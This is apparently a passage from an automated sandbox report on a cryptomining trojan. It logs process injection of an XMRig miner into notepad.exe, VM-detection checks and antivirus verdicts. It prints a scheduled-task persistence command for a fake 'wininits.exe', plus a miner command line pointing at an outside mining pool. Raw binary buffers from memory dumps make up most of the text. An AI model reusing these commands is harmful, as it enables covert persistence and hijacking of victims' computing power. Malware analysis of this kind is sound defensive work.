FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV/Nå,¶÷;fffffffffffffffffffffDF@ÀHÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$LEL¯ïþÿÿL ðþÿÿM3ÈLîþÿÿM3ÐLìþÿÿM3ØL%êþÿÿM3àL-èþÿÿM3èL5æþÿÿM3ðL=äþÿÿM3øHl$ Äâ}D$ ÅýÔmþÿÿÄâ} þÿÿÅ½sÐ ÅµsÑ Å}ôÑÅ5ôØÅ½ôÁÄÁ%só Åýsð ÄA-ÔÓÅÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷LÅ}lÁLNÅmlËLVÅ]lÕL^ÅMlßLf Å}máLn(ÅmmëLv0Å]mõL~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ ÄÃ Fß ÅþÅþ ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1ÄÃ Fÿ1Åþ¶Åþ¾ HÅHÆ@H;l$(HÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo\|$póDo$óDo$óDo$ óDo$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHì(H$Å~t$HD$(H\$0HL$8HT$@Å~oÅ~oÅ~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH$Å~ot$HÄ(Åþ$H$H%ÿÿ?HÁàHÇH$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HÄ(YLLILQLYLa Li(Lq0Ly8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\^_][ÃfffffffffffffffffL3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHßfffffffLCHãÿÿ?HÁãHßL¯cL dM3ÈLbM3ÐL`M3ØL%^M3àL-\M3èL5ZM3ðL=XM3øéXffffffff-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV*/Nå,¶÷;ºLÁ3ÀH½ÉHÓâI÷ðÃ base_address: 0x0000000140747000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: ÅøwH\$Ht$H\|$UATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HåàÅùïÀ3ÿÇELâÇE LòÇE IÁîAäÇEMèÆE HñßÅýE ÅýE@ÅýE`ÅýÅý ÅýÀÅýàMöt>¶DHM HÁHH1L{Hûu HM èñHûHÇIEÇHÆHØIîuÂH×MätLÇ¶2HÿÂÄâ¹÷ÈHùIÀI;Ôrè¶DHU HÂ¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH H1EhHM èxÅüE ÄÁ\|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\]H\$Ht$H\|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýÜÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýÒÄcýÛÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5ÝÄC%ùÄÃ-ëÄC5òÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñÄC-üÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%ÔÄCóÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâÄCõÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff$)>-8' =7,+=.?$%:6 8>1',+2 base_address: 0x0000000140748000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: Ð0ï0Ñ0ß00 000@0Ø0p0000X0 0À0õ0¢0¢0Ç¢0¢0¤¢0´¢0Ä¢0¢0Ì¢0¨¢0à¢0Ð¢0 ¢0°¢0À¢0¢0è¢0 base_address: 0x000000014074d000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: 8Ph àt0ãt}4VS_VERSION_INFO½ïþ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x000000014074e000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: @ base_address: 0x000007fffffdd010 process_identifier: 2164 process_handle: 0x0000000000000254	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPzIzéPzT{éPzS{éPzU{éPzÞT{ éPzCQ{ éPzéQzpèPzT{KëPzÞY{äéPzÞS{éPzÞ¯zéPzéÇzéPzÞR{éPzRichéPzPEd@+`ð"4Al¶.@u`\|ÐFÜàt°`r\|ðtwCPxC( wC0 4X .textt44 `.rdataÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata\|`rH@@_RANDOMXptJ@`_SHA3_25@ t J@`_TEXT_CNQt &J@`_TEXT_CN°tFJ@`_RDATAÐtXJ@@.rsrc°àtZJ@@.relocðt`J@B base_address: 0x0000000140000000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2972 called NtSetContextThread to modify thread in remote process 2164
NtSetContextThread June 24, 2021, 10:01 a.m.	registers.r14: 0 registers.r15: 0 registers.rcx: 5371770476 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 1243704 registers.r11: 0 registers.r8: 0 registers.r9: 0 registers.rip: 1998505216 registers.rdx: 8796092878848 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0 thread_handle: 0x0000000000000338 process_identifier: 2164	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2972 resumed a thread in remote process 2164
NtResumeThread June 24, 2021, 10:01 a.m.	thread_handle: 0x0000000000000338 suspend_count: 1 process_identifier: 2164	1	0	0

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation June 24, 2021, 10:01 a.m.	information_class: 76 (SystemFirmwareTableInformation)		-1073741789	0

Executed a process and injected code into it, probably while unpacking (50 out of 59 events)

Time & API	Arguments	Status	Return
NtResumeThread June 24, 2021, 9:59 a.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread June 24, 2021, 9:59 a.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread June 24, 2021, 9:59 a.m.	thread_handle: 0x000000000000017c suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread June 24, 2021, 9:59 a.m.	thread_handle: 0x0000000000000200 suspend_count: 1 process_identifier: 2232	1	0
NtGetContextThread June 24, 2021, 9:59 a.m.	thread_handle: 0x00000000000000c8	1	0
NtGetContextThread June 24, 2021, 9:59 a.m.	thread_handle: 0x00000000000000c8	1	0
NtResumeThread June 24, 2021, 9:59 a.m.	thread_handle: 0x00000000000000c8 suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread June 24, 2021, 9:59 a.m.	thread_handle: 0x0000000000000234 suspend_count: 1 process_identifier: 2232	1	0
CreateProcessInternalW June 24, 2021, 9:59 a.m.	thread_identifier: 1812 thread_handle: 0x0000000000000390 process_identifier: 2760 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000388	1	1
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x0000000000000200 suspend_count: 1 process_identifier: 2232	1	0
CreateProcessInternalW June 24, 2021, 10 a.m.	thread_identifier: 2356 thread_handle: 0x00000000000003d8 process_identifier: 2564 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe" filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000000000003f4	1	1
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x00000000000003dc suspend_count: 1 process_identifier: 2232	1	0
CreateProcessInternalW June 24, 2021, 10 a.m.	thread_identifier: 732 thread_handle: 0x00000000000003e4 process_identifier: 2972 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\wininits.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\wininits.exe" filepath_r: C:\Users\test22\AppData\Roaming\wininits.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000410	1	1
CreateProcessInternalW June 24, 2021, 10 a.m.	thread_identifier: 1940 thread_handle: 0x0000000000000060 process_identifier: 2200 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' filepath_r: C:\Windows\system32\schtasks.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000000000000064	1	1
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x00000000000001a8 suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x000000000000017c suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x0000000000000200 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread June 24, 2021, 10 a.m.	thread_handle: 0x0000000000000234 suspend_count: 1 process_identifier: 2972	1	0
CreateProcessInternalW June 24, 2021, 10:01 a.m.	thread_identifier: 192 thread_handle: 0x0000000000000394 process_identifier: 2824 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "wininits" /tr '"C:\Users\test22\AppData\Roaming\wininits.exe"' & exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000000000000038c	1	1
NtResumeThread June 24, 2021, 10:01 a.m.	thread_handle: 0x0000000000000344 suspend_count: 1 process_identifier: 2972	1	0
CreateProcessInternalW June 24, 2021, 10:01 a.m.	thread_identifier: 1812 thread_handle: 0x00000000000003e0 process_identifier: 1632 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe" filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000000000003fc	1	1
NtResumeThread June 24, 2021, 10:01 a.m.	thread_handle: 0x000000000000044c suspend_count: 1 process_identifier: 2972	1	0
NtGetContextThread June 24, 2021, 10:01 a.m.	thread_handle: 0x0000000000000134	1	0
NtGetContextThread June 24, 2021, 10:01 a.m.	thread_handle: 0x0000000000000134	1	0
NtResumeThread June 24, 2021, 10:01 a.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 2972	1	0
NtGetContextThread June 24, 2021, 10:01 a.m.	thread_handle: 0x00000000000000c8	1	0
NtGetContextThread June 24, 2021, 10:01 a.m.	thread_handle: 0x00000000000000c8	1	0
NtResumeThread June 24, 2021, 10:01 a.m.	thread_handle: 0x00000000000000c8 suspend_count: 1 process_identifier: 2972	1	0
CreateProcessInternalW June 24, 2021, 10:01 a.m.	thread_identifier: 1240 thread_handle: 0x0000000000000338 process_identifier: 2164 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: C:\Windows/System32\notepad.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=con.microgent.ru:3335 --user=farm50 --pass= --cpu-max-threads-hint=30 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth filepath_r: stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 1 process_handle: 0x0000000000000254	1	1
NtUnmapViewOfSection June 24, 2021, 10:01 a.m.	base_address: 0x0000000140000000 region_size: 8786417680384 process_identifier: 2164 process_handle: 0x0000000000000254		-1073741799
NtAllocateVirtualMemory June 24, 2021, 10:01 a.m.	process_identifier: 2164 region_size: 7700480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000140000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000000000000254	1	0
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPzIzéPzT{éPzS{éPzU{éPzÞT{ éPzCQ{ éPzéQzpèPzT{KëPzÞY{äéPzÞS{éPzÞ¯zéPzéÇzéPzÞR{éPzRichéPzPEd@+`ð"4Al¶.@u`\|ÐFÜàt°`r\|ðtwCPxC( wC0 4X .textt44 `.rdataÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata\|`rH@@_RANDOMXptJ@`_SHA3_25@ t J@`_TEXT_CNQt &J@`_TEXT_CN°tFJ@`_RDATAÐtXJ@@.rsrc°àtZJ@@.relocðt`J@B base_address: 0x0000000140000000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x0000000140001000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x0000000140342000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x0000000140470000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x0000000140726000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: HÐ%ÀÿHÁÊ âÀÿffffffffffffffSUWVATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$QHHzHÅHÁè %ÀÿÿIðIÙHÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-fD(5fD(=HÐ%ÀÿHÁÊ âÀÿHì(Ç$ÀÇD$À¿ÇD$ÀßÇD$ÀÿÇD$ ÿÿÿÿëhffffffffffffffffffffffffÀÿÿÿÿÀÿÿÿÿððH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄëfffffffHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþHHL$L3L3IL3QL3YL3a L3i(L3q0L3y8HHL$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æÐÈP¢îÐÈH¢öÐÈ@¢þÐH3èÕâÀÿÿHÁÍ ÕâÀÿÿHL3L3IL3QL3YL3a L3i(L3q0L3y8HÍHÁé áÀÿÿL3H3èÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3\|8HìHH\$@LD$8LL$0LT$(L\$ Ld$Ll$Lt$L<$H3èHÁÍ ÝãÀÿÿÁëH\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HÄHHL$LLILQLYLa Li(Lq0Ly8HL$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ffSUWVATAUAVAWH9HòIèAQ HÝèÞLLNLVL^Lf Ln(Lv0L~8HÅHÆ@H;,$rÈAYA_A^A]A\^_][Ãffffffffffffff@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó\|$póD$óD$óD$ óD$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH9HòIèAQHì(é-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV/Nå,¶÷;fffffffffffffffffffffDF@ÀHÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$HEH%ÿÿ?HÁàHÇHD$LEL¯ïþÿÿL ðþÿÿM3ÈLîþÿÿM3ÐLìþÿÿM3ØL%êþÿÿM3àL-èþÿÿM3èL5æþÿÿM3ðL=äþÿÿM3øHl$ Äâ}D$ ÅýÔmþÿÿÄâ} þÿÿÅ½sÐ ÅµsÑ Å}ôÑÅ5ôØÅ½ôÁÄÁ%só Åýsð ÄA-ÔÓÅÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷LÅ}lÁLNÅmlËLVÅ]lÕL^ÅMlßLf Å}máLn(ÅmmëLv0Å]mõL~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ ÄÃ Fß ÅþÅþ ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1ÄÃ Fÿ1Åþ¶Åþ¾ HÅHÆ@H;l$(HÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo\|$póDo$óDo$óDo$ óDo$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHì(H$Å~t$HD$(H\$0HL$8HT$@Å~oÅ~oÅ~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH$Å~ot$HÄ(Åþ$H$H%ÿÿ?HÁàHÇH$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HD$H%ÿÿ?HÁàHÇHD$HÄ(YLLILQLYLa Li(Lq0Ly8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\^_][ÃfffffffffffffffffL3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHßfffffffLCHãÿÿ?HÁãHßL¯cL dM3ÈLbM3ÐL`M3ØL%^M3àL-\M3èL5ZM3ðL=XM3øéXffffffff-L-ôQXü¡õY FØÂ8ßp§\I"¿¹&b%MIìªÎ¹ï7x-æltV*/Nå,¶÷;ºLÁ3ÀH½ÉHÓâI÷ðÃ base_address: 0x0000000140747000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: ÅøwH\$Ht$H\|$UATAUAVAWHìPót$@ó\|$0óDD$ óDL$óD$HìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HåàÅùïÀ3ÿÇELâÇE LòÇE IÁîAäÇEMèÆE HñßÅýE ÅýE@ÅýE`ÅýÅý ÅýÀÅýàMöt>¶DHM HÁHH1L{Hûu HM èñHûHÇIEÇHÆHØIîuÂH×MätLÇ¶2HÿÂÄâ¹÷ÈHùIÀI;Ôrè¶DHU HÂ¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH H1EhHM èxÅüE ÄÁ\|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HÄPóDo$óDoL$óDoD$ óo\|$0óot$@HÄPA_A^A]A\]H\$Ht$H\|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýÜÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýÒÄcýÛÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5ÝÄC%ùÄÃ-ëÄC5òÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñÄC-üÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%ÔÄCóÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâÄCõÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff$)>-8' =7,+=.?$%:6 8>1',+2 base_address: 0x0000000140748000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x0000000140749000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x000000014074b000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: Ð0ï0Ñ0ß00 000@0Ø0p0000X0 0À0õ0¢0¢0Ç¢0¢0¤¢0´¢0Ä¢0¢0Ì¢0¨¢0à¢0Ð¢0 ¢0°¢0À¢0¢0è¢0 base_address: 0x000000014074d000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: 8Ph àt0ãt}4VS_VERSION_INFO½ïþ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x000000014074e000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: base_address: 0x000000014074f000 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
NtGetContextThread June 24, 2021, 10:01 a.m.	thread_handle: 0x0000000000000338	1	0
WriteProcessMemory June 24, 2021, 10:01 a.m.	buffer: @ base_address: 0x000007fffffdd010 process_identifier: 2164 process_handle: 0x0000000000000254	1	1
NtSetContextThread June 24, 2021, 10:01 a.m.	registers.r14: 0 registers.r15: 0 registers.rcx: 5371770476 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 1243704 registers.r11: 0 registers.r8: 0 registers.r9: 0 registers.rip: 1998505216 registers.rdx: 8796092878848 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0 thread_handle: 0x0000000000000338 process_identifier: 2164	1	0

File has been identified by 49 AntiVirus engines on VirusTotal as malicious (49 events)

Elastic	malicious (high confidence)
DrWeb	Trojan.PackedNET.721
MicroWorld-eScan	Trojan.GenericKD.37011382
CAT-QuickHeal	Trojan.Generic
McAfee	Artemis!673189C41502
Cylance	Unsafe
Zillya	Trojan.Kryptik.Win32.3266592
AegisLab	Trojan.Win32.Generic.4!c
Sangfor	Trojan.Win32.Generic.ky
K7AntiVirus	Trojan ( 0057c5721 )
Alibaba	Trojan:Win32/CoinMiner.ali1002002
K7GW	Trojan ( 0057c5721 )
Cybereason	malicious.8ef56a
